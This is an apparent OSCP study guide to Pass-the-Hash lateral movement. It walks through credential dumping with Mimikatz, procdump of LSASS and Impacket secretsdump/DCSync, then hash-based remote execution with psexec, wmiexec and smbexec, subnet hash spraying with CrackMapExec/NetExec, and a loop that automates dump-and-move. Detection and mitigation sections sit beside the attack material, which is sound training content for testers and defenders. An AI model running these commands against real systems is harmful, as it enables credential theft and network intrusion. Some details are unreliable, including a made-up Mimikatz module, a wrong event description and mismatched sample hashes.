Pass-the-Hash Lateral Movement
Table of Contents
- NTLM Authentication Deep Dive
- How Pass-the-Hash Works
- NTLM Authentication Flow
- Extracting NTLM Hashes
- Using Hashes with Impacket
- Using Mimikatz for PtH
- CrackMapExec / NetExec with Hashes
- Limitations of Pass-the-Hash
- Detection Indicators
- Mitigation Strategies
- OSCP Exam Tips
1. NTLM Authentication Deep Dive
1.1 What Is NTLM?
NTLM (NT LAN Manager) is a suite of Microsoft authentication protocols providing challenge-response authentication. Unlike Kerberos, NTLM does not use a central ticket-granting mechanism — each authentication is a direct negotiation between client and server.
NTLM Versions:
| Version | Year | Security Level | Status |
|---|---|---|---|
| NTLMv1 | 1993 | Weak | Deprecated, easily cracked |
| NTLMv2 | 2000 | Moderate | Still widely used |
| NTLM2 Session Security | 1996 | Weak | Deprecated |
For OSCP purposes, focus on NTLMv2 — it’s the version you’ll encounter in labs.
1.2 NTLM Hash Structure
An NTLM hash is the LAN Manager (LM) hash and NT hash combined:
Full Hash: LM_HASH:NT_HASH
Example: aad3b435b51404eeaad3b435b51404ee:d8c49310079dd88e24a134a3f82e3192
| Component | Length | Description |
|---|---|---|
| LM Hash | 32 chars (16 bytes) | Legacy, often empty/constant in modern systems |
| Separator | 1 char | Colon (:) |
| NT Hash | 32 chars (16 bytes) | MD4 hash of Unicode password — the actual credential |
Important Notes:
- The LM hash
aad3b435b51404eeaad3b435b51404eeindicates an empty/invalid LM hash (common in modern Windows) - The NT hash is what matters for Pass-the-Hash
- NT hash =
MD4(UTF-16LE(password))— it’s a one-way hash
1.3 Why NTLM Hashes Matter
┌─────────────────────────────────────────────────────────────┐
│ NTLM HASH SIGNIFICANCE │
├─────────────────────────────────────────────────────────────┤
│ │
│ Password → MD4(UTF-16LE) → NT Hash │
│ │
│ The NT Hash IS the credential for NTLM authentication. │
│ You do NOT need the plaintext password to authenticate. │
│ │
│ This is fundamentally different from Kerberos, where you │
│ need the password to derive the encryption key for │
│ ticket decryption. │
│ │
└─────────────────────────────────────────────────────────────┘
2. How Pass-the-Hash Works
2.1 The Core Concept
Pass-the-Hash (PtH) exploits a fundamental property of NTLM authentication: the server only needs the hash to verify a challenge-response — it never sees the plaintext password.
Why the Hash Is Enough:
- In NTLM, the authentication process uses the hash directly in cryptographic operations
- The challenge-response mechanism computes responses using the hash as a key
- The server verifies the response by performing the same computation with its stored hash
- If you have the hash, you can compute valid responses — no plaintext needed
2.2 PtH vs. Other Techniques
| Aspect | Pass-the-Hash | Pass-the-Ticket | Credential Reuse |
|---|---|---|---|
| Credential Type | NTLM Hash | Kerberos Ticket | Plaintext Password |
| Protocol | NTLM | Kerberos | NTLM or Kerberos |
| Cracking Needed | No (use directly) | No (use directly) | No (use directly) |
| Works with NTLM-only | Yes | No | Yes |
| Works with Kerberos-only | No | Yes | Yes |
| Extraction Source | LSASS memory, SAM | LSASS memory | LSASS memory, config files |
| Detection | Event ID 4648 | Event ID 4624 (LogonType 9) | Event ID 4624 |
2.3 When PtH Is Useful
- You extracted hashes but cannot crack them
- The target system accepts NTLM authentication
- You need to move laterally without plaintext credentials
- Kerberos is not available or not preferred for the target
3. NTLM Authentication Flow
3.1 NTLMv2 Challenge-Response Mechanism
┌─────────────┐ ┌─────────────┐
│ CLIENT │ │ SERVER │
│ (Attacker) │ │ (Target) │
└──────┬──────┘ └──────┬──────┘
│ │
│ ┌─ NEGOTIATE ───────────────────────→│
│ │ Client sends NTLM capability │
│ │ (NTLMSSPNegotiate) │
│ └─────────────────────────────────────┘
│ │
│ ┌─ CHALLENGE ───────────────────────→│
│ │ Server sends 8-byte random │
│ │ challenge (ServerChallenge) │
│ │ + Server info │
│ └─────────────────────────────────────┘
│ │
│ │ Compute expected response:
│ │ NTProofStr = HMAC-MD5(
│ │ NTHash,
│ │ ClientChallenge + ServerInfo
│ │ )
│ │ Response = NTProofStr + padding
│ │
│ ┌─ AUTHENTICATE ───────────────────→│
│ │ Client sends response computed │
│ │ using NT hash + challenge │
│ │ (NTLMv2 Response) │
│ └─────────────────────────────────────┘
│ │
│ │ Compare computed response
│ │ with received response
│ ┌─ SUCCESS/FAILURE ─────────────────→│
│ │ Server accepts or rejects │
│ └─────────────────────────────────────┘
│ │
3.2 Detailed NTLMv2 Response Computation
Step 1: Client generates ClientChallenge (8 random bytes)
Step 2: Compute ResponseKeyNT = HMAC-MD5(NTHash, User + Domain)
Where NTHash = MD4(UTF-16LE(Password))
Step 3: Compute NTProofStr = HMAC-MD5(ResponseKeyNT, Time + ClientChallenge + ServerInfo)
Step 4: Build NTLMv2 Response = NTProofStr + Time + ClientChallenge + ServerInfo + Padding
Step 5: Send response to server
Step 6: Server performs same computation with stored NTHash
If responses match → Authentication succeeds
3.3 Why PtH Works (Technical Explanation)
The critical insight:
In Step 2 above, the computation uses NTHash directly.
The NTHash = MD4(UTF-16LE(Password))
When an attacker has the NTHash:
→ They can compute ResponseKeyNT
→ They can compute NTProofStr
→ They can generate a valid NTLMv2 Response
The server cannot distinguish between:
✓ A legitimate client that knows the password
✓ An attacker that knows the hash
Both produce identical cryptographic responses.
This is why Pass-the-Hash works.
3.4 NTLM Hash Examples
Password: "Password123"
NT Hash: d9b77e12b30b79bd79f685c3d00f1b8a
Password: "Welcome1"
NT Hash: 1c5e55e80c5e478b0f6e095b8d6c1b8a
Password: "P@ssw0rd!"
NT Hash: 8846f7ea3d6597398b6f9d55e4e548fb
Note: These are illustrative. Real hashes are 32 hex characters.
4. Extracting NTLM Hashes
4.1 From Windows — Mimikatz
Prerequisites:
- Administrator / SYSTEM privileges on the local machine
- Mimikatz binary available
Basic Extraction:
# Start Mimikatz
mimikatz.exe
# Or with built-in PowerShell version
Invoke-Mimikatz -DumpLSASS
# Enable privilege
mimikatz # privilege::debug
# Extract all credentials from LSASS
mimikatz # sekurlsa::logonpasswords
# Extract only Kerberos tickets
mimikatz # sekurlsa::tickets
# Extract specific credential types
mimikatz # sekurlsa::search [type:primary]
mimikatz # sekurlsa::search [type:cred]
Output Example:
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0; xxxxxx
Session : Interactive from 2
User : username
Domain : DOMAIN
SID : S-1-5-21-xxx-xxx-xxx-1000
msv :
[00000003] Primary
* Username : username
* Domain : DOMAIN
* LM : aad3b435b51404eeaad3b435b51404ee
* NTLM : d8c49310079dd88e24a134a3f82e3192
* SHA1 : aad3b435b51404eeaad3b435b51404ee
tspkg :
* Username : username
* Domain : DOMAIN
* Password : Welcome1
...
Key Fields to Extract:
- NTLM: The 32-character hex hash — this is what you need for PtH
- LM: Usually
aad3b435b51404eeaad3b435b51404ee(empty) on modern systems - Password: Plaintext if available (preferred over hash)
4.2 From Windows — Alternative Methods
# Procdump + Mimikatz (evasion technique)
procdump.exe -ma lsass.exe lsass.dmp
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
# Rubeus - for Kerberos-focused extraction
Rubeus.exe triage
Rubeus.exe dump
# LaZagne - multi-application credential extractor
lazagne.exe all
# Windows Credential Manager
cmdkey /list
4.3 From Kali — Impacket secretsdump.py
Extracting hashes remotely:
# Basic - extract all hashes from a target
secretsdump.py DOMAIN/username:password@TARGET_IP
# Extract with hash (PtH to dump)
secretsdump.py -hashes :nthash DOMAIN/username@TARGET_IP
# Extract from Domain Controller (DCSync)
secretsdump.py -just-dc DOMAIN/username:password@DC_IP
# Extract from DC with hash
secretsdump.py -just-dc -hashes :nthash DOMAIN/username@DC_IP
# Output to file
secretsdump.py DOMAIN/username:password@TARGET_IP -outputfile hashes
# Extract SAM database only
secretsdump.py SAM/username:password@TARGET_IP
# Use Kerberos ticket
secretsdump.py -no-pass -k DOMAIN/username@TARGET_IP
Output Format:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
DOMAIN\admin:500:aad3b435b51404eeaad3b435b51404ee:d9b77e12b30b79bd79f685c3d00f1b8a: [...]
DOMAIN\user1:1001:aad3b435b51404eeaad3b435b51404ee:e7c0e7e1b4d0f3a8b2c1d5e6f7a8b9c0: [...]
DOMAIN\svc_account:1002:aad3b435b51404eeaad3b435b51404ee:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6: [...]
4.4 From Kali — CrackMapExec Hash Extraction
# Dump SAM database
crackmapexec smb TARGET_IP -u user -H hash --sam
# Dump LSA secrets
crackmapexec smb TARGET_IP -u user -H hash --lsa
# Dump NTDS (DC only)
crackmapexec smb DC_IP -u user -H hash --ntds
# Dump all
crackmapexec smb TARGET_IP -u user -H hash --sam --lsa --ntds
4.5 Hash Format Reference
Format: USERNAME:RID:LM_HASH:NT_HASH
Example:
administrator:500:aad3b435b51404eeaad3b435b51404ee:d8c49310079dd88e24a134a3f82e3192
For Impacket, use:
-hashes LM:NT
-hashes :d8c49310079dd88e24a134a3f82e3192 (LM empty)
For CrackMapExec, use:
-H d8c49310079dd88e24a134a3f82e3192 (just NT hash)
5. Using Hashes with Impacket
5.1 psexec.py with Hash
# Basic PtH with PsExec
psexec.py -hashes :d8c49310079dd88e24a134a3f82e3192 DOMAIN/username@TARGET_IP
# With both LM and NT hashes
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:d8c49310079dd88e24a134a3f82e3192 DOMAIN/username@TARGET_IP
# PtH to Domain Controller
psexec.py -hashes :HASH DOMAIN/administrator@DC_IP
# Specify DC for authentication
psexec.py -hashes :HASH -dc-ip DC_IP DOMAIN/username@TARGET_IP
# Execute specific command
psexec.py -hashes :HASH DOMAIN/username@TARGET_IP "whoami"
5.2 wmiexec.py with Hash
# WMI execution with hash
wmiexec.py -hashes :HASH DOMAIN/username@TARGET_IP
# With DC specification
wmiexec.py -hashes :HASH -dc-ip DC_IP DOMAIN/username@TARGET_IP
# Execute command
wmiexec.py -hashes :HASH DOMAIN/username@TARGET_IP "systeminfo"
5.3 smbexec.py with Hash
# SMBExec with hash
smbexec.py -hashes :HASH DOMAIN/username@TARGET_IP
# With DC
smbexec.py -hashes :HASH -dc-ip DC_IP DOMAIN/username@TARGET_IP
5.4 Other Impacket Tools with Hash
# SAMR dump
samrdump.py -hashes :HASH DOMAIN/username@TARGET_IP
# Lookupsid
lookupsid.py -hashes :HASH DOMAIN/username@TARGET_IP
# Get user details
getusers.py -hashes :HASH DOMAIN/username@TARGET_IP
# RPC dump
rpcdump.py -hashes :HASH DOMAIN/username@TARGET_IP
# Secrets dump (remote)
secretsdump.py -hashes :HASH DOMAIN/username@TARGET_IP
6. Using Mimikatz for PtH
6.1 Pass-the-Hash with Mimikatz
Mimikatz can perform PtH by injecting the hash into the current LSASS session, making the system believe you are authenticated as that user.
# Start Mimikatz
mimikatz.exe
# Enable privilege
mimikatz # privilege::debug
# Pass-the-Hash - inject hash and spawn process
mimikatz # sekurlsa::pth /user:username /domain:DOMAIN /ntlm:d8c49310079dd88e24a134a3f82e3192
# This spawns a new cmd.exe as the specified user
# You can now use this shell for lateral movement
# Pass-the-Hash with specific process
mimikatz # sekurlsa::pth /user:username /domain:DOMAIN /ntlm:HASH /run:powershell
# Run a specific command
mimikatz # sekurlsa::pth /user:username /domain:DOMAIN /ntlm:HASH /run:"psexec \\\\TARGET cmd"
6.2 PtH Workflow with Mimikatz
Step 1: Extract hash from compromised machine
mimikatz # sekurlsa::logonpasswords
→ Note the NTLM hash
Step 2: Use PtH to authenticate as that user
mimikatz # sekurlsa::pth /user:extracted_user /domain:DOMAIN /ntlm:HASH
Step 3: In the new shell, verify identity
whoami
→ Should show the target user
Step 4: Use this shell for lateral movement
psexec \\NEXT_TARGET cmd
OR
Use the shell to run other tools
6.3 Mimikatz Module Reference
sekurlsa::logonpasswords - Extract all credentials from LSASS
sekurlsa::tickets - Extract Kerberos tickets
sekurlsa::pth - Pass-the-Hash injection
sekurlsa::kullki_rid - RID cycling
sekurlsa::search - Search for specific credentials
kerberos::list - List Kerberos tickets
kerberos::ptt - Pass-the-Ticket
kerberos::golden - Golden ticket creation
lsadump::sam - Dump SAM database
lsadump::secrets - Dump LSA secrets
lsadump::dcsync - DCSync attack
7. CrackMapExec / NetExec with Hashes
7.1 Basic PtH with CrackMapExec
# Test hash against single target
crackmapexec smb TARGET_IP -u username -H d8c49310079dd88e24a134a3f82e3192
# Test hash against subnet
crackmapexec smb 10.0.0.0/24 -u username -H HASH
# Check local admin access
crackmapexec smb 10.0.0.0/24 -u username -H HASH --local-auth
# Enumerate shares
crackmapexec smb TARGET_IP -u username -H HASH --shares
# Execute command
crackmapexec smb TARGET_IP -u username -H HASH -x "whoami"
# Download file
crackmapexec smb TARGET_IP -u username -H HASH -get-file remote_path local_path
# Upload file
crackmapexec smb TARGET_IP -u username -H HASH -put-file local_path remote_path
7.2 NetExec (Next-gen CrackMapExec)
# Basic connection test
netexec smb TARGET_IP -u username -H HASH
# Subnet scan
netexec smb 10.0.0.0/24 -u username -H HASH
# With local auth
netexec smb 10.0.0.0/24 -u username -H HASH --local-auth
# Execute command
netexec smb TARGET_IP -u username -H HASH -x "whoami"
# Dump SAM
netexec smb TARGET_IP -u username -H HASH --sam
# Check for various accesses
netexec smb TARGET_IP -u username -H HASH --shares --sessions --disks --users --groups
7.3 Hash Spraying with CrackMapExec
# Test multiple hashes against a target
crackmapexec smb TARGET_IP -u username -H hashes.txt
# Test a hash against multiple users
crackmapexec smb TARGET_IP -u users.txt -H HASH
# Brute force with wordlist and hash check
crackmapexec smb TARGET_IP -u users.txt -p passwords.txt
8. Limitations of Pass-the-Hash
8.1 When PtH Does NOT Work
| Scenario | Why It Fails | Alternative |
|---|---|---|
| Kerberos-only environment | NTLM is disabled, only Kerberos accepted | Pass-the-Ticket, AS-REP Roasting |
| SMB Signing enforced | Relaying blocked, but PtH still works if you have the hash | PtH works, relay doesn’t |
| LDAP Signing / Channel Binding | Prevents relay, PtH may still work | Use Kerberos-based methods |
| Protected Users group | NTLM disabled for these accounts | Kerberos-only attacks |
| Windows 11 / Latest policies | NTLMv1 blocked, LSA protection | Need different extraction methods |
| Cross-forest without trust | Hash not valid in other forest | Need separate credentials |
8.2 Kerberos-Only Environments
In environments where NTLM is completely disabled:
NTLM Authentication: DISABLED
Kerberos Authentication: REQUIRED
Pass-the-Hash: ❌ DOES NOT WORK
Pass-the-Ticket: ✅ WORKS
Credential Reuse: ✅ WORKS (if Kerberos accepted)
Detection of Kerberos-only:
# Check if NTLM is accepted
crackmapexec smb TARGET_IP -u user -H HASH
# If you get "STATUS_MORE_PROCESSING_REQUIRED" or similar,
# the target may require Kerberos
# Check with nmap
nmap -p 445 --script=smb2-security-mode TARGET_IP
# Look for "Signing: Required" and NTLM settings
8.3 LSA Protection
Windows 10/11 and Server 2016+ may have LSA protection enabled:
RunAsPPL: 1 (Run LSA as Protected Process Light)
This prevents Mimikatz from reading LSASS memory directly.
Workarounds:
# Method 1: Dump LSASS first, then analyze
procdump.exe -ma lsass.exe lsass.dmp
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
# Method 2: Use alternative extraction
# Task Manager → Create dump file (if admin)
# Then analyze with Mimikatz
# Method 3: Remote extraction still works
secretsdump.py DOMAIN/user:pass@TARGET (from Kali)
9. Detection Indicators
9.1 Windows Event IDs for PtH Detection
| Event ID | Description | PtH Relevance |
|---|---|---|
| 4624 | An account was successfully logged on | LogonType 3 with NTLM = suspicious |
| 4625 | An account failed to log on | Failed PtH attempts |
| 4648 | A logon was attempted using explicit credentials | Key PtH indicator |
| 4768 | A Kerberos TGT was requested | Compare with NTLM usage |
| 4769 | A Kerberos service ticket was requested | Auth pattern analysis |
| 4672 | Special privileges assigned to new logon | Admin PtH success |
| 4673 | System-wide filter resolved | Rare, but relevant |
| 4688 | A new process was created | Process creation after PtH |
9.2 Key Detection Patterns
Pattern 1: Event ID 4648 — Explicit Credential Logon
Event ID: 4648
Subject:
Security ID: S-1-5-18 (SYSTEM)
Account Name: MACHINE$
Target Username: DOMAIN\username
Target Domain: DOMAIN
Logon Guid: {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}
This event indicates that a process explicitly used credentials
to log on — a hallmark of Pass-the-Hash and Mimikatz usage.
Pattern 2: Multiple LogonType 3 Events
Event ID: 4624
Logon Type: 3 (Network)
Authentication Package: NTLM
Source IP: Attacker's IP
Account: DOMAIN\username
Multiple Event 4624 with LogonType 3 from same source IP
to different targets = lateral movement via PtH
Pattern 3: Time Correlation
T+0:00 Event 4648 on source machine (credential used)
T+0:01 Event 4624 on target machine (successful logon)
T+0:02 Event 4688 on target (process created)
This timeline indicates PtH followed by command execution.
9.3 Network-Level Indicators
| Indicator | Description |
|---|---|
| NTLM traffic spike | Sudden increase in NTLM authentication from single source |
| Unusual source IP | NTLM auth from workstation to server (not typical) |
| Multiple targets | Same hash used against many systems rapidly |
| Off-hours activity | PtH during non-business hours |
10. Mitigation Strategies
10.1 Preventing Hash Extraction
| Mitigation | Description | Implementation |
|---|---|---|
| LSA Protection (RunAsPPL) | Prevents LSASS memory reading | Registry: RunAsPPL=1 |
| Credential Guard | Virtualization-based security for credentials | Group Policy → Credential Guard |
| Protected Process Light | Enhanced LSASS protection | Windows 10/11 default in some editions |
| Restrict Admin Access | Limit who can dump LSASS | UAC, least privilege |
| Application Whitelisting | Block Mimikatz and similar tools | AppLocker, WDAC |
10.2 Preventing PtH Usage
| Mitigation | Description | Implementation |
|---|---|---|
| Disable NTLM | Force Kerberos authentication | GPO: Network Security → LAN Manager auth level |
| Enable SMB Signing | Prevent relay (not PtH directly) | GPO: Microsoft network server: Digitally sign communications |
| LDAP Signing | Secure LDAP communications | GPO: LDAP client signing requirements |
| Channel Binding | Bind authentication to channel | Windows Server 2019+ |
| Restrict Admin$ | Limit administrative shares | GPO: Restrict anonymous access |
10.3 Detection and Response
| Action | Tool/Method |
|---|---|
| Monitor Event 4648 | SIEM alert on explicit credential logons |
| Track LogonType 3 patterns | Correlate multiple NTLM logons from single source |
| Baseline NTLM usage | Establish normal NTLM patterns, alert on anomalies |
| Deploy EDR | Endpoint Detection and Response for behavioral analysis |
| Network monitoring | Watch for NTLM traffic anomalies |
10.4 GPO Configuration for NTLM Restriction
Computer Configuration → Policies → Windows Settings
→ Security Settings → Local Policies → Security Options
Policy: Network security: LAN Manager authentication level
Value: Send NTLMv2 response only. Refuse LM & NTLM
Policy: Network security: Restrict NTLM: Audit All NTLM inbound traffic
Value: Enable auditing
Policy: Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers
Value: Deny all
11. OSCP Exam Tips
11.1 PtH Quick Reference
# Step 1: Extract hashes
# On Windows:
mimikatz # sekurlsa::logonpasswords
# Note the NTLM hash
# On Kali (remote):
secretsdump.py DOMAIN/user:pass@TARGET
# Step 2: Use the hash for lateral movement
psexec.py -hashes :NTLM_HASH DOMAIN/username@TARGET
# Step 3: Enumerate where the hash works
crackmapexec smb 10.0.0.0/24 -u username -H NTLM_HASH
# Step 4: Check for local admin
crackmapexec smb 10.0.0.0/24 -u username -H NTLM_HASH --local-auth
11.2 Common Exam Scenarios
| Scenario | Solution |
|---|---|
| You find a hash in a file | Use it directly with psexec.py -hashes :HASH |
| You dump LSASS and find hashes | Test each hash with CrackMapExec across the subnet |
| A service account has admin on DC | Use PtH to reach the DC, then DCSync |
| Hash works on one machine, not another | Check if target requires Kerberos; try PtT instead |
| You need to move to a server | Check if the user is local admin on the server first |
11.3 Troubleshooting PtH
| Problem | Cause | Fix |
|---|---|---|
STATUS_LOGON_FAILURE |
Wrong hash or user | Verify hash format, check username |
The target account name is invalid |
Domain context wrong | Use DOMAIN/user format |
STATUS_ACCESS_DENIED |
Not admin on target | Hash works for auth but user lacks privileges |
DCERPC Runtime error |
RPC issue | Try WMI or SMBExec instead |
| Hash doesn’t work on DC | DC requires Kerberos | Use Pass-the-Ticket or find plaintext |
Connection refused |
Port 445 blocked | Try WMI (port 135) or WinRM |
11.4 Essential PtH Commands
# Extract + Move (one-liner from Kali)
secretsdump.py DOMAIN/user:pass@TARGET 2>/dev/null | grep -v "\[.*\]" | cut -d: -f1,4 > hashes.txt
cat hashes.txt | while read line; do
user=$(echo $line | cut -d: -f1)
hash=$(echo $line | cut -d: -f2)
psexec.py -hashes :$hash DOMAIN/$user@NEXT_TARGET
done
# Quick hash test
crackmapexec smb TARGET -u user -H HASH
# Hash to PsExec
psexec.py -hashes :HASH DOMAIN/user@TARGET
# Hash to WMI
wmiexec.py -hashes :HASH DOMAIN/user@TARGET
11.5 Important Reminders
- Hash format matters: Impacket uses
LM:NTformat. LM is usually empty::NTLM_HASH - CrackMapExec uses just NT:
-H NTLM_HASH(no colon prefix needed) - Always verify before attacking: Use
crackmapexecto test hash validity first - Document the hash source: Note where you found each hash for your report
- Try plaintext first: If Mimikatz gives you plaintext, use it — it works everywhere
- Hash is per-user: Each user has their own hash — don’t mix them up
Summary
Pass-the-Hash is a fundamental lateral movement technique that exploits the NTLM challenge-response mechanism. Key takeaways:
- NTLM hash IS the credential — no cracking needed for NTLM authentication
- Mimikatz and Impacket are your primary tools for extraction and exploitation
- CrackMapExec/NetExec excel at rapid hash testing across networks
- PtH fails in Kerberos-only environments — know when to switch to Pass-the-Ticket
- Event ID 4648 is the primary detection indicator for PtH activity
- LSA Protection and Credential Guard are the primary defenses against hash extraction
Master hash extraction, understand the NTLM flow, and practice PtH with multiple tools. This technique appears frequently in OSCP exams and is essential for AD penetration testing.